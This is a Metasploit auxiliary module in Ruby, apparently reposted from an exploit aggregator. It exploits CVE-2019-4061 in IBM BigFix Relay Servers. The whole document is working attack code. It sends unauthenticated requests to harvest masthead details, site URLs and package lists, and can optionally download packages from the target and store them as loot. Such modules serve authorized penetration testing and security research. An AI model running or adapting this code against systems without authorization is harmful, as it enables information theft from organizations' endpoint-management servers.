Share
## https://sploitus.com/exploit?id=PACKETSTORM:180698
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'IBM BigFix Relay Server Sites and Package Enum',  
'Description' => %q{  
This module retrieves masthead, site, and available package information  
from IBM BigFix Relay Servers.  
},  
'Author' =>  
[  
'HD Moore', # Vulnerability Discovery  
'Chris Bellows', # Vulnerability Discovery  
'Ryan Hanson', # Vulnerability Discovery  
'Jacob Robles' # Metasploit module  
],  
'References' =>  
[  
['CVE','2019-4061'],  
['URL','https://www.atredis.com/blog/2019/3/18/harvesting-data-from-bigfix-relay-servers']  
],  
'DefaultOptions' =>  
{  
'RPORT' => 52311,  
'SSL' => true  
},  
'License' => MSF_LICENSE,  
'DisclosureDate' => '2019-03-18' # Blog post date  
))  
  
register_options [  
OptString.new('TARGETURI', [true, 'Path to the BigFix server', '/']),  
OptBool.new('SHOW_MASTHEAD', [true, 'Retrieve information from masthead file', true]),  
OptBool.new('SHOW_SITES', [true, 'Retrieve site listing', true]),  
OptBool.new('SHOW_PACKAGES', [true, 'Retrieve packages list', true]),  
OptBool.new('DOWNLOAD', [true, 'Attempt to download packages', false])  
]  
  
register_advanced_options [  
OptBool.new('ShowURL', [true, 'Show URL instead of filename', false])  
]  
end  
  
def send_req(uri)  
send_request_cgi({  
'uri' => normalize_uri(target_uri, uri)  
})  
end  
  
def masthead  
res = send_req('masthead/masthead.axfm')  
return unless res && res.code == 200  
  
if res.body =~ /Organization: (.*)./  
print_good($1)  
end  
  
res.body.scan(/URL: (.*)./).each do |http|  
print_good(http[0])  
end  
end  
  
def sites  
res = send_req('cgi-bin/bfenterprise/clientregister.exe?RequestType=FetchCommands')  
return unless res && res.code == 200  
  
print_status('Sites')  
res.body.scan(/: ([^ ]+)/).each do |url|  
print_good(url[0])  
end  
end  
  
def packages  
res = send_req('cgi-bin/bfenterprise/BESMirrorRequest.exe')  
return unless res && res.code == 200  
  
print_status('Packages')  
last_action = nil  
@files = {}  
  
myhtml = res.get_html_document  
myhtml.css('.indented p').each do |element|  
element.children.each do |text|  
if text.class == Nokogiri::XML::Text  
next if text.text.start_with?('Error')  
  
text.text =~ /^([^ ]+)/  
case $1  
when 'Action:'  
# Save Action to associate URLs  
text.text =~ /Action: ([0-9]+)/  
last_action = $1  
@files[last_action] = []  
print_status("Action: #{last_action}")  
when 'url'  
text.text =~ /^[^:]+: (.*)/  
uri = URI.parse($1)  
file = File.basename(uri.path)  
@files[last_action].append(file)  
datastore['ShowURL'] ? print_good("URL: #{$1}") : print_good("File: #{file}")  
end  
end  
end  
end  
end  
  
def download  
print_status('Downloading packages')  
@files.each do |action, val|  
next if val.empty?  
res = send_req("bfmirror/downloads/#{action}/0")  
next unless res && res.code == 200  
  
print_status("Downloading file #{val.first}")  
res = send_req("bfmirror/downloads/#{action}/1")  
unless res && res.code == 200  
print_error("Failed to download #{val.first}")  
next  
end  
  
myloot = store_loot('ibm.bigfix.package', File.extname(val.first), datastore['RHOST'], res.body, val.first)  
print_good("Saved #{val.first} to #{myloot.to_s}")  
end  
end  
  
def run  
masthead if datastore['SHOW_MASTHEAD']  
sites if datastore['SHOW_SITES']  
packages if datastore['SHOW_PACKAGES'] || datastore['DOWNLOAD']  
download if datastore['DOWNLOAD'] && @files != {}  
end  
end